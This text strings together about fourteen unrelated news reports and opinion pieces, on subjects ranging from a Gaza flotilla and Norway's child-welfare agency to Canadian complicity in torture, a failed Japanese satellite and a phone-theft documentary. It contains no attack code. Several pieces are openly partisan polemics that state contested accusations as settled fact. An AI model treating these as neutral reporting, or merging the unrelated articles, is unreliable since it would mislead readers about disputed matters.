of armed conflict that would trigger the right to impose a naval blockade. When the UK suffered continued terrorist attack from the Irish Republican Army, sustaining many more deaths than anything Israel has suffered in recent years from Gaza, it would have been ridiculous to argue that the UK had a right to mount a general naval blockade of the Republic of Ireland.  So Israel doesn’t have a leg to stand on. Therefore “all good men and true” should rally to support these brave voyagers and ensure their governments back their play.  But here’s a question put by MEP Kyriacos Triantaphyllides and the answer from the EU Commission…  Question:  One year after the military action by Israel against a convoy carrying humanitarian aid supplies to Gaza, during which at least ten civilians were killed, another humanitarian aid flotilla to Gaza is now being organised, the principal cargo being supplies of stationery for school pupils. Is the EU and in particular the Commission aware of the new mission that is being organised and what is its position on this matter?  Given the participation of EU Member State nationals and the presence of MEPs, will the EU take any measures to ensure that the personal safety of its nationals is not endangered?  Answer:  After the organisation of a flotilla heading to Gaza in May 2010, the Quartet, of which the EU is a member, stated that all those wishing to deliver goods to Gaza should do so through established channels, so that their cargo can be inspected and transferred via land crossings into Gaza. It also stated that there was no need for unnecessary confrontations and that all parties should act responsibly in meeting the needs of the people of Gaza.  In the same spirit, the Chair’s Conclusions of the 13 April 2011 meeting of the Ad Hoc Liaison Committee (AHLC) on donor coordination for Palestine reiterated a call on all international supporters to make use of the existing land crossings to channel their support to Gaza, and abstain from provocations.  The Commission stands by this line. A flotilla is not the appropriate response to the humanitarian situation in Gaza. At the same time, Israel must abide by international law when dealing with a possible flotilla. The EU continues to request the lifting of the blockade on Gaza, including the naval blockade.  EU Member States have the responsibility to protect their citizens abroad via their consular services. This responsibility covers assistance for their citizens who might participate in a possible flotilla. As in May-June 2010, the EU Delegation in Tel Aviv stands ready to function as a hub for information and to coordinate the efforts of the consular services of EU Member States.  So there you have it… the treacherous contradictions we have come to expect from this unelected body, including advice that Member States have a responsibility to protect their citizens AFTER they’ve been murdered.  The “established channel” for delivering goods to Gaza is of course the time-honoured route by sea, which is protected by maritime and international law and therefore entirely appropriate. There’s nothing “provocative” about it. The organizers have offered their cargoes for inspection and verification by a trusted third party to allay Israel’s fears about weapon supplies. They should not have to dirty their hands dealing with the belligerent regime that’s cruelly turning the screws on civilians with an illegal blockade. Anyone suggesting they must do so seeks to legitimize the blockade, which we all know to be illegal and a crime against humanity.  Members of the Ad Hoc Liaison Committee include the Palestinian Authority and the Government of Israel, so no wonder it bends over backwards to accommodate Israel’s criminal action.  Read more by Stuart Littlewood
-January 6, 2015 (LifeSiteNews) – Norway’s Barnevernet, or child welfare service, has begun the process of adopting out the five Bodnariu children it seized from their Pentecostal parents Marius and Ruth in November, according to the children’s uncle, Daniel Bodnariu.  Bodnariu told LifeSiteNews that Barnevernet intends to adopt out the children, who range in age from nine years to four months, but that the agency must first “take away the parents’ rights” in a “fylkesnemdna,” or county council hearing, the date of which has not been set.  He stated that Marius and Ruth’s lawyer plans to challenge Barnevernet’s decision in Norway’s Superior Court, but that no trial date has been set.  Meanwhile, international protest on behalf of the beleaguered family is building via Facebook. Demonstrations at the Norwegian embassies are planned in 24 countries so far, including Russia, Poland, India, Slovakia, Denmark, Ireland, Romania, as well as in the USA and Canada, where rallies are scheduled in Washington DC on January 8, 2015, and in Ottawa on January 9.  As well as street protests, a petition organized by Pastor Christian Ionescu of Chicago’s Elim Romanian Pentecostal Church has been signed by 48,683 to date.  The Naustdal regional Barnevernet seized the Bodnariu children, whose father Marius is a Romanian citizen and IT engineer working in Norway, and whose mother Ruth is Norwegian, on November 16 and 17, according to Daniel Bodnariu’s reports, posted online by Ionescu.  According to that account, the principal of the school attended by the two oldest children, Eliana, 9, and Naomi, 7, called Barnevernet and reported the girls told her they were being disciplined at home.  She also mentioned that the parents are “very Christian” and that “the grandmother has a strong faith that God punishes sin, which, in the Principal’s opinion, creates a disability in children,” Bodnariu reported.  According to the Christian Post, the principal wanted counseling for the girls, but Barnevernet took custody of all five children, including the infant Ezekiel, on grounds that they were being physically abused.  Daniel Bodnariu attests that the agency found no evidence of any kind of abuse and that Barnevernet officials relied on the stories of the two eldest girls, who reported that their parents slapped them occasionally, which he described in the Post as “light punishments.”  It is illegal in Norway to slap or physically punish a child.  The children were placed in three different foster homes, the Post reports. The parents can visit their infant son, whom Ruth was nursing when he was seized, only twice a week, and their two sons Matthew, 5, and John, 2, once a week. They are forbidden to see their daughters.  Daniel Bodnariu told LifeSiteNews in an email that Barnevernet plans to do a psychological evaluation of his brother and sister-in-law in February.  Several sources report that Norway’s Barnevernet is notorious for seizing children on the slimmest of pretexts, frequently from families where both or one of the parents is non-Norwegian.  According to the London-based Christian Today, in May 2015, an estimated 3,000 children from immigrant families were in Norwegian state custody.  It cited as notable examples of Barnevernet practices its infamous 2012 seizure of two children from Indian couple Anurup and Sagorika Bhattacharya, which the Indian government fiercely protested, as well as an April 2015 seizure of a two-and-a-half month old daughter of a Slovakian father and deaf Norwegian mother, for, among other reasons, “lack of eye contact between girl and her parents.”  The Norwegian online magazine NewsinEnglish reported that an estimated forty percent of children in Barnevernet custody are from immigrant families.  One frequent cause for Barnevernet taking children from their parents is the Norwegian prohibition against physical punishment of children, it noted.  The agency has been criticized by India, Sri Lanka, and eastern European countries such as Russia, Latvia, Lithuania, Poland, and Russia for its actions, NewsinEnglish reports, as well as for placing children from immigrant families in Norwegian-speaking homes, which some countries claim violates the UN Convention on the Rights of the Child.  Barnevenet did not respond to several emails from LifeSiteNews.  Elisabeth Johansen, spokesperson for Norway’s Minister of Children and Equality Solveig Horne, told LifeSiteNews in an email that “the government does not have the authority to comment on or intervene in individual cases.”  She noted that “the County Governor at regional level inspects the work of the child welfare services. Additionally, child welfare cases are subject to a strict duty of confidentiality. Only the parties to the case have access to the case documents.”  Pastor Ionsescu told Christian Post that because the Bodnariu family has many members in both Romania and the United States, the case is a good opportunity to bring awareness of the Barnevernet’s “abuse of power.”  “This is an issue that is not going to die down for us,” Ionsescu said, adding that the community is prepared to fight until the Bodnariu children are returned to their parents. “If it takes year, then so be it – we are not going to stop.”  For information on the demonstrations, or to sign the petition, go here http://www.ipetitions.com/petition/christian-family-persecuted/  (c) Life Site News www.lifesitenews.com
-In 2010 the left-wing Center for American Progress published a monograph titled "The Progressive Intellectual Tradition in America." Its purpose was to shine an admiring spotlight on the Progressive activists of the late 19th and early 20th centuries, men and women who used government power to "promote true economic and social opportunity for all people." The problem with that monograph, as I noted at the time, was that it failed to mention the Progressive movement's widespread support for racist Jim Crow laws, sexist labor laws, and eugenics laws. It was, I concluded, "a fairy tale version of history, one that highlights what the authors see as the accomplishments of progressivism while totally ignoring anything that might detract from their lopsided narrative."  Fast forward to the present day and the Center for American Progress has produced yet another work of lopsided historical nonsense. The objective this time around is to undermine the presidential campaign of Rand Paul by attacking the libertarian influences that may have shaped Paul's thinking. "Though Paul now presents his anti-government philosophy as the antidote to a society which dooms far too many poor people of color to a life behind bars, that philosophy has far more insidious roots," asserts ThinkProgress, an arm of the Center for American Progress. What are those insidious roots? They are the classical liberal ideas of the polymath British social theorist Herbert Spencer (1820-1903), a figure whose heyday coincided with the rise of Progressivism in the United States.  According to ThinkProgress, "Spencer's own philosophy can safely be described as genocidal libertarianism" because Spencer "literally argued that the impoverished and the unfortunate should be left to die in order to purify the human race."  Did Spencer literally argue that? Of course not. It's another left-wing fairy tale. Here's why.  The idea of smearing Herbert Spencer as a proto-eugenicist is not original to ThinkProgress. It originated in Richard Hofstadter’s 1944 book Social Darwinism in American Thought, in which Hofstadter falsely characterized Spencer as a sort of founding father of the eugenics movement. Forced sterilization and other collectivist eugenics measures, Hoftstadter asserted, have "proved to be the most enduring aspect" of Spencer's "tooth and claw natural selection."  As evidence for this assertion, Hofstadter pointed to the following passage (also cited by ThinkProgress) in Spencer's 1851 book Social Statics: "If they are sufficiently complete to live, they do live, and it is well they should live. If they are not sufficiently complete to live, they die, and it is best they should die."  Here is something I previously wrote about that allegedly offensive Spencer passage:  [It] certainly sounds rough, but as it turns out, Hofstadter failed to mention the first sentence of Spencer's next paragraph, which reads, "Of course, in so far as the severity of this process is mitigated by the spontaneous sympathy of men for each other, it is proper that it should be mitigated." As philosophy professor Roderick Long has remarked, "The upshot of the entire section, then, is that while the operation of natural selection is beneficial, its mitigation by human benevolence is even more beneficial." This is a far cry from Hofstadter's summary of the text, which has Spencer advocating that the "unfit...should be eliminated."  Similarly, Hofstadter repeatedly points to Spencer's famous phrase, "survival of the fittest," a line that Charles Darwin added to the fifth edition of Origin of Species. But by fit, Spencer meant something very different from brute force. In his view, human society had evolved from a "militant" state, which was characterized by violence and force, to an "industrial" one, characterized by trade and voluntary cooperation. Thus Spencer the "extreme conservative" supported labor unions (so long as they were voluntary) as a way to mitigate and reform the "harsh and cruel conduct" of employers.  Along similar lines, Spencer devoted 10 chapters in his two-volume Principles of Ethics to spelling out the importance of “Positive Beneficience,” otherwise known as charity towards the impoverished and the unfortunate. In other words, if you bother to read what Herbert Spencer actually wrote, you will quickly discover that he never advocated anything remotely like letting the poor die in the streets.  Spencer's Progressive-minded contemporaries, on the other hand, frequently did embrace eugenics and frequently did throw their explicit support behind eugenicist measures aimed restricting or eliminating "unfit" groups from American society. The influential Progressive economist John R. Commons, for example, who served as an adviser to Progressive hero (and notorious racist) Woodrow Wilson, favored anti-immigration restrictions precisely because Commons thought those restrictions would help preserve the racial health of the white working class. Economic competition from immigrants, Commons complained, "has no respect for the superior races."  Herbert Croly, the leading Progressive journalist who founded Progressivism's flagship magazine, The New Republic, openly championed the cause of eugenics. Writing in an unsigned New Republic editorial on March 18, 1916, for example, Croly argued that, "Imbecility breeds imbecility as certainly as white hens breed white chickens; and under laissez-faire imbecility is given full chance to breed, and does so in fact at a rate fair superior to that of able stocks." The proper solution, he wrote in the magazine’s editorial voice, was for Progressive-minded government officials to take eugenicist action:  We may suggest that a socialized policy of population cannot be built upon a laissez faire economic policy. So long as the state neglects its good blood, it will let its bad blood alone. There is no certain way of distinguishing between defectiveness in the strain and defectiveness produced by malnutrition, neglected lesions originally curable, or overwork in childhood. When the state assumes the duty of giving a fair opportunity for development to every child, it will find unanimous support for a policy of extinction of stocks incapable of profiting from their privileges.  And then there is Progressive icon Justice Oliver Wendell Holmes Jr. As I note in my new book, Overruled: The Long War for Control of the U.S. Supreme Court, Justice Holmes delivered his most famous majority opinion in the 1927 case of Buck v. Bell, in which he allowed the state of Virginia to forcibly sterilize a 17-year-old girl who had been raped and impregnated by the nephew of her foster mother and then committed to a state institution for the "socially inadequate." Carrie Buck, Justice Holmes ruled, was a "feeble minded white woman" whose future freedom to procreate would "sap the strength of the State." In its 2010 memorandum on "The Progressive Intellectual Tradition in America," the Center for American Progress hailed Justice Holmes as a Progressive thought leader who correctly interpreted "the Constitution as a 'living' document." Buck v. Bell was not discussed.  Here's an idea: Perhaps the Center for American Progress should spend less time lobbing false charges at libertarians and spend more time confronting its own dishonorable roots in what can safely be described as genocidal progressivism.  Related: Another Bout of Anti-Libertarian Nonsense from the Left-Wing Center for American Progress
-Part of the Oakland Raiders’ struggle to put up points this season can be attributed to the offensive line’s inability to create holes for a ground attack that’s averaging an anemic 88 yards per game.  Offensive coordinator Todd Downing believes his blockers are still growing as a group.  “I think we’re an evolving unit,” Downing said during media availability Thursday. “I think we’re growing, I think we’re learning each other’s styles a little bit – getting Marshawn [Lynch] back adds an element into the run game there – so it’s going to be a growing process.”  Considering that we’re already in Week 9, the team doesn’t much time to complete that growing process.  At 3-5 for the season, the Raiders’ season is clearly on life support. Getting Lynch back could be a boost for the team’s running game that was porous in the Week 8 34-14 loss against the Bills.  The return of “Beast Mode” could also insert some new energy into a team that is at a cross roads at this point in the season.  Either the Raiders will find a way to jump-start the running game, which will naturally make things easier for quarterback Derek Carr, or it will continue to sputter and the pressure will only mount for Oakland’s franchise player.  Ultimately, the running game goes where the offensive line leads, and going up against the NFL’s No. 6 rush defense won’t be a cakewalk for Downing’s unit.
-The prognosis wasn't good last week when the Japanese Space Agency, JAXA, lost communication with its new Hitomi X-ray astronomy satellite. However, there was some hope a few days later when the space agency reestablished intermittent contact with the spacecraft orbiting some 580km above the Earth.  Astronomers have since been observing the satellite, originally known as Astro-H, as it has orbited around the Earth. The photos with this story, captured by University of Alabama astronomer William Keel on Sunday evening, appear to show different pieces of the spacecraft catching the Sun as they slowly rotate. The brightest moments are probably caused by solar panels spinning into view. The pattern of brighter and then fainter light suggests at least two large pieces, with different periods, are tumbling out of control.  One astronomer who has been tracking Hitomi closely, Jonathan McDowell at the Harvard-Smithsonian Center for Astrophysics, tweeted on Sunday evening, "Sadly, I now believe that the radio signals were the dying sighs of a fatally wounded Astro-H."  Originally there was speculation that debris could have struck the satellite, but JAXA has since said there was an equipment failure of some sort. Possible causes of the spacecraft's breakup include a rupture of the helium tank that houses the X-ray instruments, a fuel leak, or a battery failure.  Regardless of the cause, the loss of the spacecraft is a major blow to X-ray astronomers, who have few tools available to probe high-energy but very-short-wavelength X-rays that are absorbed by the Earth's atmosphere. X-rays are useful for studying black holes, neutron star mergers, highly magnetized star quakes, and other unusual high-energy astrophysics. But scientists were most intrigued by the new types of high energy cosmic interactions they might see with Hitomi and which they cannot predict.
-In December of 2014, 49-year-old Katherine Lavoie was shot by her husband. A month earlier, 29-year-old Daryne Gailey and 6-year-old London McCabe were both killed by their parents.  In the year since our last vigil, our community has lost at least twenty more victims.  In the past five years, over seventy people with disabilities have been murdered by their parents.  Sunday, March 1st, the disability community will gather across the nation to remember disabled victims of filicide–disabled people murdered by their family members or caregivers.  We see the same pattern repeating over and over again. A parent kills their disabled child. The media portrays these murders as justifiable and inevitable due to the “burden” of having a disabled person in the family. If the parent stands trial, they are given sympathy and comparatively lighter sentences, if they are sentenced at all. The victims are disregarded, blamed for their own murder at the hands of the person they should have been able to trust the most, and ultimately forgotten. And then the cycle repeats.  But it doesn’t have to.  Here’s what you can do in your own community to help spread awareness of these tragedies – and help stop more from happening.  1. Read and share our new Anti-Filicide Toolkit.  This toolkit is intended to provide advocates and allies with concrete tools and resources to use in their own communities, including in response to local incidents. The toolkit includes information about how to understand and respond to filicide, frequently asked questions about filicide, and a guidebook for Day of Mourning vigil site coordinators.  2. Sign up to be a Day of Mourning vigil site coordinator  For the last four years, ASAN, ADAPT, Not Dead Yet, the National Council on Independent Living, the Disability Rights Education & Defense Fund, and other disability rights organizations have come together to mourn the lives lost to filicide, bring awareness to these tragedies, and demand justice and equal protection under the law for all people with disabilities.  On Sunday, March 1, 2015, ASAN and the wider disability community will be holding vigils to mourn the lives of those we’ve lost and bringing awareness to this horrific trend of violence against our community.  If you’re interested in leading a vigil in your area, please sign up to be a Day of Mourning vigil site coordinator here.
-Hello Rocksmith fans!  This week’s DLC comes from the great white north of Winnipeg, Manitoba!  Yes, finally Bachman-Turner Overdrive led by @RandysVinylTap will make their music game debut this week in the ever expanding library of Rocksmith Remastered.  As revealed over the weekend, both You Ain’t Seen Nothing Yet off Not Fragile (1974), and Takin’ Care of Business from Bachman–Turner Overdrive II (1973) would be included in the three pack! As expected, the third single (confirmed by Xbox AU) is Let It Ride!  Bachman-Turner Overdrive – $7.99 / Steam  Everything in E Standard (work out)  Are you Bachman or Turner? Either way you’re gonna have a blast with these Canadian Classic Rock ambassadors! So what are you waiting for? Go buy it, or tell us why you aren’t…
-Armenian military scouts demonstrate their skill during a performance to mark the annual anniversary of the Armenian Armed Forces reconnaissance troops formation, some 25 km outside in Yerevan on November 5, 2013 (AFP Photo/Karen Minasyan)  Baku (AFP) - Azerbaijan on Saturday accused arch-foe Armenia's troops of killing its soldier in a new clash amid a Western-mediated push to cauterise the protracted conflict in the South Caucasus.  Friday's skirmish violating the brittle truce comes a day after the Organization for Security and Cooperation in Europe said that the presidents of the two feuding nations were ready to "meet each other later this year" in an effort to end years of hostility.  Azerbaijan and Armenia have been locked in a dispute over the separatist Nagorny Karabakh region since a bloody war in the early 1990s following the breakup of the Soviet Union.  "On July 24, Armenian army units shelled Azerbaijani positions" at the Karabakh frontline and the Azerbaijani-Armenian state border, the defence ministry in Baku said in a statement.  One Azeri serviceman was killed in crossfire, said the defence ministry, claiming that at least five Armenian troops were killed in the clash.  Armenia denied that it had sustained any casualties and accused Azerbaijan of violating a 1994 ceasefire.  "Some 160 violations have been registered over the past night," Armenian defence ministry spokesman Artsrun Hovannisyan told AFP. "Armenia's armed forces returned fire."  On Thursday, the OSCE Minsk Group, which is involved in the efforts to find a diplomatic solution to the conflict, said Armenian President Serzh Sarkisian and his counterpart from Azerbaijan Ilham Aliyev were ready to meet each other later this year.  The statement was released after the group's Russian, US and French co-chairs travelled to Yerevan and Baku for meetings with the warring countries' leaders.  "They instructed their foreign ministers to continue their work with the co-chairs on an agenda for the presidential summit," the OSCE Minsk Group said.  Officials in Armenia and Azerbaijan did not confirm the statement, however.  Yerevan-backed ethnic Armenian separatists seized control of Karabakh and several other regions of Azerbaijan during the conflict that left some 30,000 dead.  The predominantly Armenian-populated region is internationally recognised as part of Azerbaijan.  Despite years of negotiations, the two countries have not signed a final peace deal to cement the 1994 ceasefire.  Clashes have intensified in the past year along the Karabakh frontline and across the two ex-Soviet republics' shared border.  There was relative calm ahead of and during the inaugural edition of the European Games hosted by Azerbaijan last month.
-Canadian government lies over complicity in CIA torture  By Roger Jordan  13 December 2014  Tuesday’s publication of the US Senate report into the CIA’s brutal interrogation techniques in the aftermath of 9/11 has shed new light on Ottawa’s complicity in acts of torture.  The response of the Conservative government was in keeping with its long-standing refusal to acknowledge any Canadian involvement in torture. Prime Minister Stephen Harper, answering a question in the House of Commons on Tuesday, declared, “This is a report of the United States Senate. It has nothing to do whatsoever with the government of Canada.”  Foreign minister John Baird reacted to a question from the press on the harm done to Canada’s reputation by its complicity with torture programs by arrogantly declaring, “Canada doesn’t torture. Period! Period!” He walked away without answering a follow-up query.  These are barefaced lies. Successive governments have been implicated in facilitating the brutal and inhumane techniques outlined in the Senate document. Canada acted as a major transit route for US rendition flights that sent captured suspects to third countries or CIA black sites to be tortured. According to the Globe and Mail, a total of 20 US aircraft made 74 stopovers at Canadian airports while on rendition flights. The number of flights was second only to the US itself.  Previously Canadian authorities have admitted that information CSIS used to argue for the indefinite detention of Adil Charkaoui and Mohamed Harkat came from Abu Zubaydah, an al-Qaeda terror suspect who figures prominently in the Senate report. The CIA used Zubaydah as something of a “guinea pig” in its torture campaign, including “waterboarding” him 83 times. For years, Canadian authorities insisted before the courts that there was no reason to think Abu Zubaydah had named Charkaoui and Harkat other than willingly.  The Conservative government’s assertions are also disproved by directives it has itself issued to the police and intelligence agencies that explicitly permit them to use information gained through torture and to supply information to foreign intelligence agencies even if it is likely to lead those named to be tortured. These directives apply to Canada’s Security and Intelligence Service (CSIS), the Royal Canadian Mounted Police (RCMP), the military, Canada’s signals intelligence agency (CSEC), and the border control agency.  According to the federal framework document on which the directives are based, in the event of a “substantial risk” that sharing information with a foreign agency will cause someone to be tortured, consultation with a deputy minister or minister is required to approve it. Guidelines state that the minister must take into account the immediacy of the threat and the danger to Canadian national security interests.  A statement released by the office of Public Safety Minister Stephen Blaney was no less disingenuous than Harper. “Our government does not condone the use of torture, and certainly does not engage in it.” But the statement then went on to make clear that information gained through the use of torture would be used by Canadian intelligence. “If we get a tip from any source that Canadian lives are in danger, we will act to save those lives.”  It is no secret that Canada, more than any other country, has integrated its intelligence and military services with those of its southern neighbour. Ottawa has been Washington’s unflinching ally for decades.  Canada’s intelligence services are a key component of the global five eyes alliance, which includes the American NSA, and the intelligence agencies of Britain, New Zealand and Australia. Speaking to CBC, a former CSIS agent explained that links were even more direct with the CIA, since CSIS liaison officers work in CIA headquarters, while CIA officials do likewise in Ottawa.  Criticizing Canada’s ties to the US intelligence apparatus, Ottawa-based human rights lawyer Paul Champ told the media, “I don’t think that anyone in the intelligence community in the world, at least in democratic countries, can wake up tomorrow and tell themselves that their relationship with the United States and the CIA can remain the same. Until and unless the United States shows that there’s going to be real accountability for these criminal acts, I think our relationship with the CIA has to be very closely monitored and reviewed at all times.”  In reality, a diametrically opposed approach is being taken by Canada’s ruling elite. Showing its contempt for democratic rights, Canada’s parliament is in the process of substantially expanding the powers of the spy agencies. Under an antiterrorism bill currently making its way through parliament, CSIS is explicitly authorized to share information with the members of the “Five Eyes” and to conduct investigations abroad.  This policy has the full backing of all of the parliamentary parties. The latest reforms to counterterrorist legislation have been backed at the committee stage by both the Liberals and Official Opposition New Democratic Party (NDP). In the wake of the torture report, the NDP merely called on the Harper government to revoke the directives issued in 2011 permitting the five government agencies to use information gained via torture. No call for a serious investigation, let alone the prosecution, of individuals implicated in torture was made.  A series of cases involving Canadian nationals demonstrate that Canada’s intelligence agencies not only assisted the US rendition program, but also developed its own version of the practice. This involved Canada’s national-security agencies encouraging the detention of Canadian terror suspects who were travelling abroad by third countries. These countries included authoritarian regimes where the prohibitions on detention without charge and the mistreatment of prisoners contained in Canadian law did not apply. The job of interrogating suspects, frequently with the use of torture techniques, was in this way subcontracted by Ottawa, which made intelligence gathered in Canada available to the country concerned.  Canadian intelligence passed information to the US on Maher Arar, a Syrian-born Canadian citizen who was arrested in New York in 2002. Arar was then flown to Syria, where he was imprisoned for a year and tortured. During this time, Canadian intelligence gave information to the Syrian regime to be used in his interrogation, including a list of questions he was to answer. False confessions were extracted from him that he had participated in an Al-Qaeda plot. Recognizing the injustice done to him, he was awarded over $10 million in a court appeal following his release.  Another infamous case is that of Omar Khadr, who was arrested in Afghanistan as a 15-year-old and transferred by the US to Guantanamo Bay where he was tortured. Canadian agents visited him at the prison camp to carry out their own interrogation, even though they were fully aware that he had been subject to sleep deprivation immediately prior to their visit. Despite strong government opposition, he has since been returned to Canada. The Harper government is currently engaged in an attempt to have the Supreme Court overturn a lower court decision to consider him as a young offender, because were it to stand, Khadr would likely be released.  Canada’s military is also complicit in torture. Canadian forces in Afghanistan passed detainees on to both the US and Afghan troops, although Ottawa and the military knew there was a strong likelihood they would be tortured. Approximately 400 detainees were handed over by Canadian troops to the Afghan army, while 40 were transferred to US custody, according to a report in the Toronto Star. This is a war crime under the Geneva Conventions, which make it illegal to transfer persons to authorities where there is a reasonable belief that they will be tortured.  The Harper government repeatedly blocked efforts to investigate the full extent of Canadian involvement in torture in Afghanistan. Citing national security considerations, it prevented a parliamentary committee from accessing documents from the Canadian Armed Forces authorizing the transfers. Officials who could have provided more information on what went on, such as one of Ottawa’s leading diplomats in Afghanistan, Richard Colvin, were threatened with prosecution if they spoke publicly.  A UN report in 2012 issued a further condemnation of this practice, accusing the Canadian government of “complicity in torture.” The UN committee also called on Ottawa to pay compensation to three torture victims, Abdullah Almalki, Ahmad Abu Almaati and Muayyed Nureddin, who had been the subject of a public inquiry over their arrests in Egypt and Syria. These cases provided yet more examples of how Canadian intelligence worked directly with authoritarian regimes, first to have their nationals detained, and then abused using torture methods to extract confessions.  Please enable JavaScript to view the comments powered by Disqus.
-NEW YORK (CBSNewYork) — Strangers used their combined strength Friday to lift a car off a hit-and-run victim who had found himself pinned in the Bruckner section of the Bronx.  As CBS2’s Matt Kozar reported exclusively, the driver remained on the loose Friday night.  It took seven people to lift the car off the man stuck underneath it. Witnesses said the 69-year-old man had been dragged down a Bronx street, and his clothes were left tattered and ripped.  Orlando Urena, 73, was one of the Good Samaritans who rushed over to the car, but could not lift it on his own. So he yelled for others to help.  Urena said he thought the man underneath the tire was dead. But somehow, he survived.  Cellphone video showed paramedics putting a neck brace on the victim, who police have not identified.  Investigators said he is in critical, but stable, condition at Jacobi Medical Center.  Witnesses said the car hit the man as he was walking in this crosswalk at Boynton Avenue and Westchester avenues around 11 a.m. Friday. They said the car dragged him about a quarter of a mile down the block.  But instead of stopping, the driver kept going and then bailed from the car, witnesses said.  Ahmed Muhammad runs a food cart on the corner, and said he saw the whole thing.  “This half of your body is inside the car, and the head and this part is outside. And then the car takes him,” Muhammad said.  Witnesses watched as the driver took off running. Some chased him, but he got away.  Urena said in Spanish that he did not get a good look at the driver, who police said remained on the loose late Friday.
-With teams having trialled various design solutions on their new cars over the course of pre-season testing, you are never quite sure what you are going to see when they arrive at the first round of the season. Here are some of the highlights from Melbourne, as chosen by renowned technical analyst and illustrator Giorgio Piola…  Haas VF-17 - shark fin modifications Haas were forced to remove their T-wing after first practice because it was causing excessive vibration and movement in the shark fin attached to the car’s engine cover. Keen to reinstate it in time for qualifying and the race, the team added carbon-fibre reinforcements (red arrow) to the fin in order to make the whole assembly stiffer.  Renault R.S.17 - rear wing pick-up point change In pre-season testing Renault had the pick-up point of their rear wing pillar attached directly to the top of the DRS actuator (inset, red arrow). At first this looked like a very trick solution, but then fears surfaced that it could provide an illegal advantage in terms of the wing’s performance. This prompted a modification, retained for Australia, with the pillar instead attached lower down to the actuator mounting, rather than to the actuator itself.  Red Bull RB13 - S-duct design For 2017, Red Bull have kept the same design philosophy as last year for their S-duct, which channels airflow from under the nose through to the top of the chassis. There are two openings in the lower section of the chassis (one shown here, bottom arrow) that go to cool the boxes housing electronics near the front of the sidepods. Meanwhile, the main ramp for the S-duct (unseen) streams airflow out of the openings at the very top of the chassis, as indicated by the multiple blue arrows).  Ferrari SF70H - rear-view mirror mountings For Australia, Ferrari modified their mirror pillars, with a new rounded mounting (inset, red arrow). Instead of a vertical fin behind the mirror, they introduced a horizontal, triangular fin in the lower section. The aim of the changes is to improve the efficiency of the airflow in this critical part of the chassis. Expect to see a lot of similar refinements in this area on other cars this season.
-Future teachers are finding their job prospects may be better abroad than in their home province considering the decline in enrolment and the list of schools under review for closure in New Brunswick.  A job fair for education students at the University of New Brunswick on Thursday drew 30 school boards and organizations to try and lure prospective teachers.  Only one of them was from New Brunswick, and only half were Canadian. More than an third of the exhibitors were from the United Kingdom.  New Brunswick's four anglophone school boards currently have just two full-time teaching vacancies posted online.  Kiera Stillwell of Keswick Ridge says she's "not naive to the fact there are not many teaching jobs in this province." (CBC) Rhea Malatestinic of Hampton is working on her master's degree in education and, like other graduating students, realizes she may have to travel to find work after graduation.  "It seems like you need French. It's a big thing," she said.  "I do have French, but even then the job prospects [in New Brunswick] seem a little grim I guess. Half the recruiters here are for the U.K., so that says something itself."  Half the recruiters here are for the U.K., so that says something itself. - Rhea Malatestinic, fourth-year education student  Kiera Stillwell, a final year education student from Keswick Ridge, is prepared to travel to the U.K. or Latin America to teach after graduation.  "Ideally, I'd like to stay here and work but I'm not naive to the fact there are not many teaching jobs in this province and I'm not bilingual, so I'm definitely keeping my options open," said Stillwell.  "I love to travel. I'd go anywhere."  Holly Lydon of Atlantic Education International is looking to recruit 85 teachers to teach the New Brunswick curriculum in schools in China, Bangladesh and Brazil. (CBC) Atlantic Education International offers the New Brunswick curriculum at schools in China, Bangladesh and Brazil and was at the fair looking to recruit 85 teachers.  "We can offer a service where we can provide jobs where they can go to other countries and get some experience and come back and hopefully teach in their own province," said Holly Lydon of Atlantic Education International.  Caitlin King, a British recruiter from UTeach Recruitment, says England needs teachers because fewer young people can afford to study education.  "Canadian teachers have excellent qualifications that transfer well in the U.K. system and there's also not too much of a difference between the curriculum here and the curriculum there," said King.
-The Republicans’ top oligarch, foreign casino magnate Sheldon Adelson, is already plotting how he can buy the next election and protect himself from criminal prosecution. Adelson spent $150 million on Republicans in the 2012 election, more than anyone in any American election in history. But he’s already promising to spend double that amount come the next election, and has already met with prospective 2016 Republican Presidential candidates like Governors Bobby Jindal, John Kasich, and Bob McDonnell.  Now, Adelson is looking out for his own butt. The Washington Post reports the he’s flying to Washington, DC to meet with Republican leaders in hopes of changing the Foreign Corrupt Practices Act. Currently, President Obama’s Department of Justice is investigating Adelson for violating the Act, as he’s accused of bribing officials in China to get his casinos built. Which is, of course, why Adelson, who otherwise supports gay marriage and socialized medicine, spent so much money to defeat President Obama and thus get a new Justice Department that won’t prosecute him.  This is the life of the rich and powerful in America. When they get in trouble with the law, they just buy new politicians and get new laws to protect themselves. It used to be called bribery, but today, thanks to the Supreme Court's Citizens United decision, now it’s just business as usual.
-Not too long ago, film student Anthony van der Meer was lunching in Amsterdam, when his iPhone suddenly disappeared. He reported the smartphone stolen, but to no avail. The thief had already disposed of the SIM card and disconnected the device from the internet. It was gone.  According to statistics, Dutch police registers nearly 300 smartphone thefts on average each week - and most of these devices never turn up.  Curious who steals these phones and where they eventually end up, van der Meer decided to try and get his phone swiped again - but this time around the film student pre-loaded the device with spyware so he could keep tabs on the thief and get to know him up close and personal.  Van der Meer installed anti-theft app Cerberus, which would give him access not only to the location of the device, but also to its contents and features. This means he could not only retrieve any file stored the phone, but also use its camera and microphone to surreptitiously spy on the bandit.  After four days of desperately trying to get his phone stolen again, someone finally took the bait and snatched the decoy smartphone.  Over the next two weeks, the film student secretly followed the thief as he wandered around Amsterdam with his lifted phone, documenting his each and every move - and eventually turning it into a documentary.  Find my Phone is the final outcome. Equally thrilling and disturbing, this short docufilm is an intimate exploration of the mind and life of a thief through the lens of technology.  Curious to see where van der Meer's investigation ultimately takes him? Watch the full documentary in the video section above.
